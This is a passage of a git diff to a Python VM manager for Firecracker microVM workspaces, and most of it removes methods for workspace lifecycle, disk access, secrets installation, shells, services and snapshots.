except Exception as exc: - workspace.state = "stopped" - workspace.firecracker_pid = None - workspace.last_error = str(exc) - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - raise - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - return self._serialize_workspace(workspace) - - def start_workspace(self, workspace_id: str) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - if workspace.state == "started": - self._refresh_workspace_service_counts_locked(workspace) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - return self._serialize_workspace(workspace) - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - self._stop_workspace_services_locked(workspace, instance) - self._close_workspace_shells_locked(workspace, instance) - try: - self._require_workspace_network_policy_support(network_policy=workspace.network_policy) - if self._runtime_capabilities.supports_guest_exec: - self._ensure_workspace_guest_bootstrap_support(instance) - with self._lock: - self._start_instance_locked(instance) - workspace = self._load_workspace_locked(workspace_id) - if workspace.secrets: - self._install_workspace_secrets_locked(workspace, instance) - workspace.state = instance.state - workspace.firecracker_pid = instance.firecracker_pid - workspace.last_error = None - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - return self._serialize_workspace(workspace) - except Exception as exc: - try: - if instance.state == "started": - self._backend.stop(instance) - except Exception: - pass - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - workspace.state = "stopped" - workspace.firecracker_pid = None - workspace.last_error = str(exc) - workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) - self._save_workspace_locked(workspace) - raise - - def export_workspace_disk( - self, - workspace_id: str, - *, - output_path: str | Path, - ) -> dict[str, Any]: - raw_output_path = str(output_path).strip() - if raw_output_path == "": - raise ValueError("output_path must not be empty") - resolved_output_path = Path(output_path).expanduser().resolve() - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - rootfs_path = self._workspace_stopped_disk_rootfs_locked( - workspace, - operation_name="workspace_disk_export", - ) - self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) - self._save_workspace_locked(workspace) - exported = export_workspace_disk_image(rootfs_path, output_path=resolved_output_path) - return { - "workspace_id": workspace_id, - "output_path": str(Path(str(exported["output_path"]))), - "disk_format": str(exported["disk_format"]), - "bytes_written": int(exported["bytes_written"]), - } - - def list_workspace_disk( - self, - workspace_id: str, - *, - path: str = WORKSPACE_GUEST_PATH, - recursive: bool = False, - ) -> dict[str, Any]: - normalized_path = _normalize_workspace_disk_path(path) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - rootfs_path = self._workspace_stopped_disk_rootfs_locked( - workspace, - operation_name="workspace_disk_list", - ) - self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) - self._save_workspace_locked(workspace) - entries = list_workspace_disk( - rootfs_path, - guest_path=normalized_path, - recursive=recursive, - ) - return { - "workspace_id": workspace_id, - "path": normalized_path, - "recursive": recursive, - "entries": entries, - } - - def read_workspace_disk( - self, - workspace_id: str, - *, - path: str, - max_bytes: int = DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, - ) -> dict[str, Any]: - normalized_path = _normalize_workspace_disk_path(path) - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - rootfs_path = self._workspace_stopped_disk_rootfs_locked( - workspace, - operation_name="workspace_disk_read", - ) - self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) - self._save_workspace_locked(workspace) - payload = read_workspace_disk_file( - rootfs_path, - guest_path=normalized_path, - max_bytes=max_bytes, - ) - payload["workspace_id"] = workspace_id - return payload - - def delete_workspace( - self, - workspace_id: str, - *, - reason: str = "explicit_delete", - ) -> dict[str, Any]: - with self._lock: - workspace = self._load_workspace_locked(workspace_id) - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - self._stop_workspace_services_locked(workspace, instance) - self._close_workspace_shells_locked(workspace, instance) - if workspace.state == "started": - self._backend.stop(instance) - workspace.state = "stopped" - self._backend.delete(instance) - shutil.rmtree(self._workspace_dir(workspace_id), ignore_errors=True) - return {"workspace_id": workspace_id, "deleted": True, "reason": reason} - def _validate_limits(self, *, vcpu_count: int, mem_mib: int, ttl_seconds: int) -> None: if not self.MIN_VCPUS <= vcpu_count <= self.MAX_VCPUS: raise ValueError(f"vcpu_count must be between {self.MIN_VCPUS} and {self.MAX_VCPUS}") @@ -5786,238 +587,12 @@ class VmManager: "expires_at": instance.expires_at, "state": instance.state, "network_enabled": instance.network is not None, - "allow_host_compat": instance.allow_host_compat, "guest_ip": instance.network.guest_ip if instance.network is not None else None, "tap_name": instance.network.tap_name if instance.network is not None else None, - "execution_mode": instance.metadata.get("execution_mode", "pending"), + "execution_mode": instance.metadata.get("execution_mode", "host_compat"), "metadata": instance.metadata, } - def _serialize_workspace(self, workspace: WorkspaceRecord) -> dict[str, Any]: - service_count, running_service_count = self._workspace_service_counts_locked( - workspace.workspace_id - ) - return { - "workspace_id": workspace.workspace_id, - "name": workspace.name, - "labels": dict(workspace.labels), - "environment": workspace.environment, - "environment_version": workspace.metadata.get("environment_version"), - "vcpu_count": workspace.vcpu_count, - "mem_mib": workspace.mem_mib, - "ttl_seconds": workspace.ttl_seconds, - "created_at": workspace.created_at, - "last_activity_at": workspace.last_activity_at, - "expires_at": workspace.expires_at, - "state": workspace.state, - "network_policy": workspace.network_policy, - "network_enabled": workspace.network is not None, - "allow_host_compat": workspace.allow_host_compat, - "guest_ip": workspace.network.guest_ip if workspace.network is not None else None, - "tap_name": workspace.network.tap_name if workspace.network is not None else None, - "execution_mode": workspace.metadata.get("execution_mode", "pending"), - "workspace_path": WORKSPACE_GUEST_PATH, - "workspace_seed": _workspace_seed_dict(workspace.workspace_seed), - "secrets": [_serialize_workspace_secret_public(secret) for secret in workspace.secrets], - "command_count": workspace.command_count, - "last_command": workspace.last_command, - "reset_count": workspace.reset_count, - "last_reset_at": workspace.last_reset_at, - "service_count": service_count, - "running_service_count": running_service_count, - "metadata": workspace.metadata, - } - - def _serialize_workspace_list_item(self, workspace: WorkspaceRecord) -> dict[str, Any]: - service_count, running_service_count = self._workspace_service_counts_locked( - workspace.workspace_id - ) - return { - "workspace_id": workspace.workspace_id, - "name": workspace.name, - "labels": dict(workspace.labels), - "environment": workspace.environment, - "state": workspace.state, - "created_at": workspace.created_at, - "last_activity_at": workspace.last_activity_at, - "expires_at": workspace.expires_at, - "command_count": workspace.command_count, - "service_count": service_count, - "running_service_count": running_service_count, - } - - def _serialize_workspace_shell(self, shell: WorkspaceShellRecord) -> dict[str, Any]: - return { - "workspace_id": shell.workspace_id, - "shell_id": shell.shell_id, - "cwd": shell.cwd, - "cols": shell.cols, - "rows": shell.rows, - "state": shell.state, - "started_at": shell.started_at, - "ended_at": shell.ended_at, - "exit_code": shell.exit_code, - "execution_mode": shell.execution_mode, - } - - def _serialize_workspace_service(self, service: WorkspaceServiceRecord) -> dict[str, Any]: - return { - "workspace_id": service.workspace_id, - "service_name": service.service_name, - "state": service.state, - "command": service.command, - "cwd": service.cwd, - "started_at": service.started_at, - "ended_at": service.ended_at, - "exit_code": service.exit_code, - "pid": service.pid, - "execution_mode": service.execution_mode, - "readiness": dict(service.readiness) if service.readiness is not None else None, - "ready_at": service.ready_at, - "stop_reason": service.stop_reason, - "published_ports": [ - _serialize_workspace_published_port_public(published_port) - for published_port in service.published_ports - ], - } - - def _serialize_workspace_snapshot(self, snapshot: WorkspaceSnapshotRecord) -> dict[str, Any]: - return { - "workspace_id": snapshot.workspace_id, - "snapshot_name": snapshot.snapshot_name, - "kind": snapshot.kind, - "created_at": snapshot.created_at, - "entry_count": snapshot.entry_count, - "bytes_written": snapshot.bytes_written, - "deletable": snapshot.kind != "baseline", - } - - def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: - if self._runtime_capabilities.supports_vm_boot or instance.allow_host_compat: - return - reason = self._runtime_capabilities.reason or "runtime does not support real VM boot" - raise RuntimeError( - "guest boot is unavailable and host compatibility mode is disabled: " - f"{reason}. Set allow_host_compat=True (CLI: --allow-host-compat) to opt into " - "host execution." - ) - - def _require_guest_exec_or_opt_in(self, instance: VmInstance) -> None: - if self._runtime_capabilities.supports_guest_exec or instance.allow_host_compat: - return - reason = self._runtime_capabilities.reason or ( - "runtime does not support guest command execution" - ) - raise RuntimeError( - "guest command execution is unavailable and host compatibility mode is disabled: " - f"{reason}. Set allow_host_compat=True (CLI: --allow-host-compat) to opt into " - "host execution." - ) - - def _require_workspace_shell_support(self, instance: VmInstance) -> None: - if self._backend_name == "mock": - return - if self._runtime_capabilities.supports_guest_exec: - return - reason = self._runtime_capabilities.reason or ( - "runtime does not support guest interactive shell sessions" - ) - raise RuntimeError( - "interactive shells require guest execution and are unavailable for this " - f"workspace: {reason}" - ) - - def _require_workspace_service_support(self, instance: VmInstance) -> None: - if self._backend_name == "mock": - return - if self._runtime_capabilities.supports_guest_exec or instance.allow_host_compat: - return - reason = self._runtime_capabilities.reason or ( - "runtime does not support guest-backed or host-compatible service execution" - ) - raise RuntimeError( - "workspace services are unavailable for this workspace: " - f"{reason}. Recreate the workspace with --allow-host-compat to opt into " - "host compatibility when guest execution is unavailable." - ) - - def _require_workspace_secret_support(self, instance: VmInstance) -> None: - if self._backend_name == "mock": - return - if self._runtime_capabilities.supports_guest_exec: - return - reason = self._runtime_capabilities.reason or ( - "runtime does not support guest-backed secret installation" - ) - raise RuntimeError( - "workspace secrets require guest execution and are unavailable for this " - f"workspace: {reason}" - ) - - def _require_workspace_network_policy_support( - self, - *, - network_policy: WorkspaceNetworkPolicy, - ) -> None: - if network_policy == "off": - return - if self._runtime_capabilities.supports_guest_network: - return - reason = self._runtime_capabilities.reason or ( - "runtime does not support guest-backed workspace networking" - ) - raise RuntimeError( - "workspace network_policy requires guest networking and is unavailable for this " - f"workspace: {reason}" - ) - - def _workspace_secret_values_locked(self, workspace: WorkspaceRecord) -> dict[str, str]: - return _load_workspace_secret_values( - workspace_dir=self._workspace_dir(workspace.workspace_id), - secrets=workspace.secrets, - ) - - def _workspace_secret_redact_values_locked(self, workspace: WorkspaceRecord) -> list[str]: - return list(self._workspace_secret_values_locked(workspace).values()) - - def _workspace_secret_env_values_locked( - self, - workspace: WorkspaceRecord, - secret_env: dict[str, str], - ) -> dict[str, str]: - secret_values = self._workspace_secret_values_locked(workspace) - env_values: dict[str, str] = {} - for secret_name, env_name in secret_env.items(): - if secret_name not in secret_values: - raise ValueError(f"secret_env references unknown workspace secret {secret_name!r}") - env_values[env_name] = secret_values[secret_name] - return env_values - - def _touch_workspace_activity_locked( - self, - workspace: WorkspaceRecord, - *, - when: float | None = None, - ) -> None: - workspace.last_activity_at = time.time() if when is None else when - - def _install_workspace_secrets_locked( - self, - workspace: WorkspaceRecord, - instance: VmInstance, - ) -> None: - if not workspace.secrets: - return - self._require_workspace_secret_support(instance) - with tempfile.TemporaryDirectory(prefix="pyro-workspace-secrets-") as temp_dir: - archive_path = Path(temp_dir) / "workspace-secrets.tar" - _build_workspace_secret_archive( - workspace_dir=self._workspace_dir(workspace.workspace_id), - secrets=workspace.secrets, - archive_path=archive_path, - ) - self._backend.install_secrets(instance, archive_path=archive_path) - def _get_instance_locked(self, vm_id: str) -> VmInstance: try: return self._instances[vm_id] @@ -6041,884 +616,3 @@ class VmManager: vm_id = instance.vm_id self._reap_expired_locked(now) raise RuntimeError(f"vm {vm_id!r} expired and was automatically deleted") - - def _start_instance_locked(self, instance: VmInstance) -> None: - if instance.state not in {"created", "stopped"}: - raise RuntimeError( - f"vm {instance.vm_id} cannot be started from state {instance.state!r}" - ) - self._require_guest_boot_or_opt_in(instance) - if not self._runtime_capabilities.supports_vm_boot: - instance.metadata["execution_mode"] = "host_compat" - instance.metadata["boot_mode"] = "compat" - if self._runtime_capabilities.reason is not None: - instance.metadata["runtime_reason"] = self._runtime_capabilities.reason - self._backend.start(instance) - instance.state = "started" - - def _exec_instance( - self, - instance: VmInstance, - *, - command: str, - timeout_seconds: int, - host_workdir: Path | None = None, - guest_cwd: str | None = None, - env: dict[str, str] | None = None, - ) -> tuple[VmExecResult, str]: - if timeout_seconds <= 0: - raise ValueError("timeout_seconds must be positive") - if instance.state != "started": - raise RuntimeError(f"vm {instance.vm_id} must be in 'started' state before execution") - self._require_guest_exec_or_opt_in(instance) - prepared_command = command - if self._runtime_capabilities.supports_guest_exec: - prepared_command = _wrap_guest_command(command, cwd=guest_cwd) - workdir = None - else: - instance.metadata["execution_mode"] = "host_compat" - workdir = host_workdir - if env is None: - exec_result = self._backend.exec( - instance, - prepared_command, - timeout_seconds, - workdir=workdir, - ) - else: - exec_result = self._backend.exec( - instance, - prepared_command, - timeout_seconds, - workdir=workdir, - env=env, - ) - execution_mode = instance.metadata.get("execution_mode", "unknown") - return exec_result, execution_mode - - def _prepare_workspace_seed( - self, - seed_path: str | Path | None, - *, - origin_kind: WorkspaceSeedOriginKind | None = None, - origin_ref: str | None = None, - ) -> PreparedWorkspaceSeed: - if seed_path is None: - return PreparedWorkspaceSeed( - mode="empty", - source_path=None, - origin_kind="empty" if origin_kind is None else origin_kind, - origin_ref=origin_ref, - ) - resolved_source_path = Path(seed_path).expanduser().resolve() - if not resolved_source_path.exists(): - raise ValueError(f"seed_path {resolved_source_path} does not exist") - effective_origin_kind: WorkspaceSeedOriginKind = ( - "manual_seed_path" if origin_kind is None else origin_kind - ) - effective_origin_ref = str(resolved_source_path) if origin_ref is None else origin_ref - public_source_path = ( - None if effective_origin_kind == "repo_url" else str(resolved_source_path) - ) - if resolved_source_path.is_dir(): - cleanup_dir = Path(tempfile.mkdtemp(prefix="pyro-workspace-seed-")) - archive_path = cleanup_dir / "workspace-seed.tar" - try: - _write_directory_seed_archive(resolved_source_path, archive_path) - entry_count, bytes_written = _inspect_seed_archive(archive_path) - except Exception: - shutil.rmtree(cleanup_dir, ignore_errors=True) - raise - return PreparedWorkspaceSeed( - mode="directory", - source_path=public_source_path, - origin_kind=effective_origin_kind, - origin_ref=effective_origin_ref, - archive_path=archive_path, - entry_count=entry_count, - bytes_written=bytes_written, - cleanup_dir=cleanup_dir, - ) - if not resolved_source_path.is_file() or not _is_supported_seed_archive( - resolved_source_path - ): - raise ValueError("seed_path must be a directory or a .tar/.tar.gz/.tgz archive") - entry_count, bytes_written = _inspect_seed_archive(resolved_source_path) - return PreparedWorkspaceSeed( - mode="tar_archive", - source_path=public_source_path, - origin_kind=effective_origin_kind, - origin_ref=effective_origin_ref, - archive_path=resolved_source_path, - entry_count=entry_count, - bytes_written=bytes_written, - ) - - def _ensure_workspace_guest_bootstrap_support(self, instance: VmInstance) -> None: - if ( - self._runtime_paths is None - or self._runtime_paths.guest_agent_path is None - or self._runtime_paths.guest_init_path is None - ): - raise RuntimeError( - "runtime bundle does not provide guest bootstrap assets for workspace operations" - ) - rootfs_image = instance.metadata.get("rootfs_image") - if rootfs_image is None or rootfs_image == "": - raise RuntimeError("workspace rootfs image is unavailable for guest operations") - rootfs_path = Path(rootfs_image) - _patch_rootfs_runtime_file( - rootfs_path, - source_path=self._runtime_paths.guest_init_path, - destination_path=WORKSPACE_GUEST_INIT_PATH, - asset_label="guest-init", - file_mode="0100755", - ) - _patch_rootfs_runtime_file( - rootfs_path, - source_path=self._runtime_paths.guest_agent_path, - destination_path=WORKSPACE_GUEST_AGENT_PATH, - asset_label="guest-agent", - file_mode="0100755", - ) - - def _workspace_dir(self, workspace_id: str) -> Path: - return self._workspaces_dir / workspace_id - - def _workspace_runtime_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_RUNTIME_DIRNAME - - def _workspace_host_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_DIRNAME - - def _workspace_baseline_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_BASELINE_DIRNAME - - def _workspace_baseline_archive_path(self, workspace_id: str) -> Path: - return self._workspace_baseline_dir(workspace_id) / WORKSPACE_BASELINE_ARCHIVE_NAME - - def _workspace_snapshots_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_SNAPSHOTS_DIRNAME - - def _workspace_snapshot_archive_path(self, workspace_id: str, snapshot_name: str) -> Path: - return self._workspace_snapshots_dir(workspace_id) / f"{snapshot_name}.tar" - - def _workspace_snapshot_metadata_path(self, workspace_id: str, snapshot_name: str) -> Path: - return self._workspace_snapshots_dir(workspace_id) / f"{snapshot_name}.json" - - def _workspace_commands_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_COMMANDS_DIRNAME - - def _workspace_review_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_REVIEW_DIRNAME - - def _workspace_shells_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_SHELLS_DIRNAME - - def _workspace_services_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_SERVICES_DIRNAME - - def _workspace_secrets_dir(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / WORKSPACE_SECRETS_DIRNAME - - def _workspace_metadata_path(self, workspace_id: str) -> Path: - return self._workspace_dir(workspace_id) / "workspace.json" - - def _workspace_shell_record_path(self, workspace_id: str, shell_id: str) -> Path: - return self._workspace_shells_dir(workspace_id) / f"{shell_id}.json" - - def _workspace_review_record_path(self, workspace_id: str, event_id: str) -> Path: - return self._workspace_review_dir(workspace_id) / f"{event_id}.json" - - def _workspace_service_record_path(self, workspace_id: str, service_name: str) -> Path: - return self._workspace_services_dir(workspace_id) / f"{service_name}.json" - - def _workspace_rootfs_image_path_locked( - self, - workspace: WorkspaceRecord, - ) -> Path: - raw_rootfs_image = workspace.metadata.get("rootfs_image") - if raw_rootfs_image is None or raw_rootfs_image == "": - raise RuntimeError( - f"workspace {workspace.workspace_id!r} does not have a persisted rootfs image" - ) - rootfs_path = Path(raw_rootfs_image) - if not rootfs_path.exists(): - raise RuntimeError( - f"workspace {workspace.workspace_id!r} rootfs image is unavailable at {rootfs_path}" - ) - return rootfs_path - - def _workspace_stopped_disk_rootfs_locked( - self, - workspace: WorkspaceRecord, - *, - operation_name: str, - ) -> Path: - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - if workspace.state != "stopped": - raise RuntimeError( - f"workspace {workspace.workspace_id!r} must be stopped before {operation_name}" - ) - if workspace.metadata.get("execution_mode") == "host_compat": - raise RuntimeError(f"{operation_name} is unavailable for host_compat workspaces") - return self._workspace_rootfs_image_path_locked(workspace) - - def _scrub_workspace_runtime_state_locked( - self, - workspace: WorkspaceRecord, - *, - rootfs_path: Path | None = None, - ) -> None: - execution_mode = workspace.metadata.get("execution_mode") - if execution_mode == "host_compat": - return - scrub_workspace_runtime_paths( - rootfs_path or self._workspace_rootfs_image_path_locked(workspace) - ) - - def _flush_workspace_filesystem_locked( - self, - workspace: WorkspaceRecord, - instance: VmInstance, - ) -> None: - if workspace.state != "started": - return - if self._backend_name == "mock": - return - if not self._runtime_capabilities.supports_guest_exec: - return - self._backend.exec(instance, "sync", 10) - - def _count_workspaces_locked(self) -> int: - return sum(1 for _ in self._workspaces_dir.glob("*/workspace.json")) - - def _load_workspace_locked(self, workspace_id: str) -> WorkspaceRecord: - metadata_path = self._workspace_metadata_path(workspace_id) - if not metadata_path.exists(): - raise ValueError(f"workspace {workspace_id!r} does not exist") - payload = json.loads(metadata_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"workspace record at {metadata_path} is invalid") - return WorkspaceRecord.from_payload(payload) - - def _save_workspace_locked(self, workspace: WorkspaceRecord) -> None: - metadata_path = self._workspace_metadata_path(workspace.workspace_id) - metadata_path.parent.mkdir(parents=True, exist_ok=True) - metadata_path.write_text( - json.dumps(workspace.to_payload(), indent=2, sort_keys=True), - encoding="utf-8", - ) - - def _reap_expired_workspaces_locked(self, now: float) -> None: - for metadata_path in list(self._workspaces_dir.glob("*/workspace.json")): - payload = json.loads(metadata_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - shutil.rmtree(metadata_path.parent, ignore_errors=True) - continue - workspace = WorkspaceRecord.from_payload(payload) - if workspace.expires_at > now: - continue - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - self._close_workspace_shells_locked(workspace, instance) - if workspace.state == "started": - self._backend.stop(instance) - workspace.state = "stopped" - self._backend.delete(instance) - shutil.rmtree(self._workspace_dir(workspace.workspace_id), ignore_errors=True) - - def _ensure_workspace_not_expired_locked( - self, - workspace: WorkspaceRecord, - now: float, - ) -> None: - if workspace.expires_at <= now: - workspace_id = workspace.workspace_id - self._reap_expired_workspaces_locked(now) - raise RuntimeError(f"workspace {workspace_id!r} expired and was automatically deleted") - - def _refresh_workspace_liveness_locked(self, workspace: WorkspaceRecord) -> None: - if workspace.state != "started": - return - execution_mode = workspace.metadata.get("execution_mode") - if execution_mode == "host_compat": - return - if _pid_is_running(workspace.firecracker_pid): - return - workspace.state = "stopped" - workspace.firecracker_pid = None - workspace.last_error = "backing guest process is no longer running" - - def _record_workspace_command_locked( - self, - workspace: WorkspaceRecord, - *, - command: str, - exec_result: VmExecResult, - execution_mode: str, - cwd: str, - ) -> dict[str, Any]: - sequence = workspace.command_count + 1 - commands_dir = self._workspace_commands_dir(workspace.workspace_id) - commands_dir.mkdir(parents=True, exist_ok=True) - base_name = f"{sequence:06d}" - stdout_path = commands_dir / f"{base_name}.stdout" - stderr_path = commands_dir / f"{base_name}.stderr" - record_path = commands_dir / f"{base_name}.json" - stdout_path.write_text(exec_result.stdout, encoding="utf-8") - stderr_path.write_text(exec_result.stderr, encoding="utf-8") - entry: dict[str, Any] = { - "sequence": sequence, - "command": command, - "cwd": cwd, - "exit_code": exec_result.exit_code, - "duration_ms": exec_result.duration_ms, - "execution_mode": execution_mode, - "stdout_file": stdout_path.name, - "stderr_file": stderr_path.name, - "recorded_at": time.time(), - } - record_path.write_text(json.dumps(entry, indent=2, sort_keys=True), encoding="utf-8") - workspace.command_count = sequence - workspace.last_command = { - "sequence": sequence, - "command": command, - "cwd": cwd, - "exit_code": exec_result.exit_code, - "duration_ms": exec_result.duration_ms, - "execution_mode": execution_mode, - } - self._touch_workspace_activity_locked(workspace) - return entry - - def _read_workspace_logs_locked(self, workspace_id: str) -> list[dict[str, Any]]: - entries: list[dict[str, Any]] = [] - commands_dir = self._workspace_commands_dir(workspace_id) - if not commands_dir.exists(): - return entries - for record_path in sorted(commands_dir.glob("*.json")): - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - continue - stdout_name = str(payload.get("stdout_file", "")) - stderr_name = str(payload.get("stderr_file", "")) - stdout = "" - stderr = "" - if stdout_name != "": - stdout_path = commands_dir / stdout_name - if stdout_path.exists(): - stdout = stdout_path.read_text(encoding="utf-8") - if stderr_name != "": - stderr_path = commands_dir / stderr_name - if stderr_path.exists(): - stderr = stderr_path.read_text(encoding="utf-8") - entry = dict(payload) - entry["stdout"] = stdout - entry["stderr"] = stderr - entries.append(entry) - return entries - - def _record_workspace_review_event_locked( - self, - workspace_id: str, - *, - event_kind: WorkspaceReviewEventKind, - payload: dict[str, Any], - when: float | None = None, - ) -> WorkspaceReviewEventRecord: - recorded_at = time.time() if when is None else when - event = WorkspaceReviewEventRecord( - workspace_id=workspace_id, - event_kind=event_kind, - recorded_at=recorded_at, - payload=dict(payload), - ) - event_id = f"{int(recorded_at * 1_000_000_000):020d}-{uuid.uuid4().hex[:8]}" - record_path = self._workspace_review_record_path(workspace_id, event_id) - record_path.parent.mkdir(parents=True, exist_ok=True) - record_path.write_text( - json.dumps(event.to_payload(), indent=2, sort_keys=True), - encoding="utf-8", - ) - return event - - def _list_workspace_review_events_locked( - self, - workspace_id: str, - ) -> list[WorkspaceReviewEventRecord]: - review_dir = self._workspace_review_dir(workspace_id) - if not review_dir.exists(): - return [] - events: list[WorkspaceReviewEventRecord] = [] - for record_path in sorted(review_dir.glob("*.json")): - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - continue - events.append(WorkspaceReviewEventRecord.from_payload(payload)) - events.sort(key=lambda item: (item.recorded_at, item.event_kind)) - return events - - def _workspace_instance_for_live_shell_locked(self, workspace: WorkspaceRecord) -> VmInstance: - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="shell operations", - ) - self._require_workspace_shell_support(instance) - return instance - - def _workspace_instance_for_live_service_locked(self, workspace: WorkspaceRecord) -> VmInstance: - instance = self._workspace_instance_for_live_operation_locked( - workspace, - operation_name="service operations", - ) - self._require_workspace_service_support(instance) - return instance - - def _workspace_instance_for_live_operation_locked( - self, - workspace: WorkspaceRecord, - *, - operation_name: str, - ) -> VmInstance: - self._ensure_workspace_not_expired_locked(workspace, time.time()) - self._refresh_workspace_liveness_locked(workspace) - if workspace.state != "started": - raise RuntimeError( - "workspace " - f"{workspace.workspace_id} must be in 'started' state before {operation_name}" - ) - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - return instance - - def _workspace_shell_record_from_payload( - self, - *, - workspace_id: str, - shell_id: str, - payload: dict[str, Any], - metadata: dict[str, str] | None = None, - ) -> WorkspaceShellRecord: - return WorkspaceShellRecord( - workspace_id=workspace_id, - shell_id=str(payload.get("shell_id", shell_id)), - cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), - cols=int(payload.get("cols", DEFAULT_SHELL_COLS)), - rows=int(payload.get("rows", DEFAULT_SHELL_ROWS)), - state=cast(WorkspaceShellState, str(payload.get("state", "stopped"))), - started_at=float(payload.get("started_at", time.time())), - ended_at=( - None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) - ), - exit_code=( - None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) - ), - execution_mode=str(payload.get("execution_mode", "pending")), - metadata=dict(metadata or {}), - ) - - def _workspace_service_record_from_payload( - self, - *, - workspace_id: str, - service_name: str, - payload: dict[str, Any], - metadata: dict[str, str] | None = None, - published_ports: list[WorkspacePublishedPortRecord] | None = None, - ) -> WorkspaceServiceRecord: - readiness_payload = payload.get("readiness") - readiness = dict(readiness_payload) if isinstance(readiness_payload, dict) else None - normalized_published_ports = _workspace_published_port_records( - payload.get("published_ports") - ) - if not normalized_published_ports and published_ports is not None: - normalized_published_ports = list(published_ports) - return WorkspaceServiceRecord( - workspace_id=workspace_id, - service_name=str(payload.get("service_name", service_name)), - command=str(payload.get("command", "")), - cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), - state=cast(WorkspaceServiceState, str(payload.get("state", "stopped"))), - started_at=float(payload.get("started_at", time.time())), - readiness=readiness, - ready_at=( - None if payload.get("ready_at") is None else float(payload.get("ready_at", 0.0)) - ), - ended_at=( - None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) - ), - exit_code=( - None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) - ), - pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), - execution_mode=str(payload.get("execution_mode", "pending")), - stop_reason=_optional_str(payload.get("stop_reason")), - published_ports=normalized_published_ports, - metadata=dict(metadata or {}), - ) - - def _load_workspace_shell_locked( - self, - workspace_id: str, - shell_id: str, - ) -> WorkspaceShellRecord: - record_path = self._workspace_shell_record_path(workspace_id, shell_id) - if not record_path.exists(): - raise ValueError(f"shell {shell_id!r} does not exist in workspace {workspace_id!r}") - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"shell record at {record_path} is invalid") - return WorkspaceShellRecord.from_payload(payload) - - def _workspace_service_counts_locked(self, workspace_id: str) -> tuple[int, int]: - services = self._list_workspace_services_locked(workspace_id) - return len(services), sum(1 for service in services if service.state == "running") - - def _start_workspace_service_published_ports( - self, - *, - workspace: WorkspaceRecord, - service: WorkspaceServiceRecord, - guest_ip: str, - published_ports: list[WorkspacePublishedPortSpec], - ) -> list[WorkspacePublishedPortRecord]: - services_dir = self._workspace_services_dir(workspace.workspace_id) - started: list[WorkspacePublishedPortRecord] = [] - try: - for spec in published_ports: - started.append( - _start_workspace_published_port_proxy( - services_dir=services_dir, - service_name=service.service_name, - workspace_id=workspace.workspace_id, - guest_ip=guest_ip, - spec=spec, - ) - ) - except Exception: - for published_port in started: - _stop_workspace_published_port_proxy(published_port) - raise - return started - - def _workspace_baseline_snapshot_locked( - self, - workspace: WorkspaceRecord, - ) -> WorkspaceSnapshotRecord: - baseline_archive_path = self._workspace_baseline_archive_path(workspace.workspace_id) - if not baseline_archive_path.exists(): - raise RuntimeError( - "workspace snapshots and reset require a baseline snapshot. " - "Recreate the workspace to use snapshot/reset features." - ) - entry_count, bytes_written = _inspect_seed_archive(baseline_archive_path) - return WorkspaceSnapshotRecord( - workspace_id=workspace.workspace_id, - snapshot_name="baseline", - kind="baseline", - created_at=workspace.created_at, - entry_count=entry_count, - bytes_written=bytes_written, - ) - - def _resolve_workspace_snapshot_locked( - self, - workspace: WorkspaceRecord, - snapshot_name: str, - ) -> tuple[WorkspaceSnapshotRecord, Path]: - normalized_name = _normalize_workspace_snapshot_name(snapshot_name, allow_baseline=True) - if normalized_name == "baseline": - baseline = self._workspace_baseline_snapshot_locked(workspace) - return baseline, self._workspace_baseline_archive_path(workspace.workspace_id) - snapshot = self._load_workspace_snapshot_locked(workspace.workspace_id, normalized_name) - return ( - snapshot, - self._workspace_snapshot_archive_path(workspace.workspace_id, 